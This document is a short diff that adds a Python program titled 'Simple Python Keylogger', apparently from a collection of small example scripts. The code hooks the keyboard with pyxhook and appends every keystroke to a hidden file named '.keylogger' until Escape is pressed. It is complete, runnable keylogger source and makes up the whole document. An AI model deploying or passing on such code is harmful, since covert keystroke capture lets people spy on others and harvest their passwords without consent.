Simple Python Keylogger

Author: OmkarPathak

Programs/P79_SimplePythonKeylogger.py

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+# Author: OMKAR PATHAK
+
+import pyxhook
+import time
+
+# functions to write a newline character into the file
+def newline():
+	file = open('.keylogger', 'a')
+	file.write('\n')
+	file.close()
+
+# This function is called every time a key is pressed
+def key_press_event(event):
+    global running
+    # write the key pressed into a file
+    if event.Key != 'space' and event.Key != 'Escape':
+	    with open('.keylogger', 'a+') as File:
+	    	File.write(event.Key)
+
+    # If the ascii value matches spacebar, add a newline in the file
+    if event.Key == 'space':
+        newline()
+
+    # If the ascii value matches escape, terminate the while loop
+    if event.Key == 'Escape':
+        running = False
+        newline()
+
+if __name__ == '__main__':
+	# Create hookmanager
+	hookman = pyxhook.HookManager()
+	# Define our callback to fire when a key is pressed down
+	hookman.KeyDown = key_press_event
+	# Hook the keyboard
+	hookman.HookKeyboard()
+	# Start our listener
+	hookman.start()
+
+	# Create a loop to keep the application running
+	running = True
+	while running:
+	    time.sleep(0.1)
+
+	# Close the listener when we are done
+	hookman.cancel()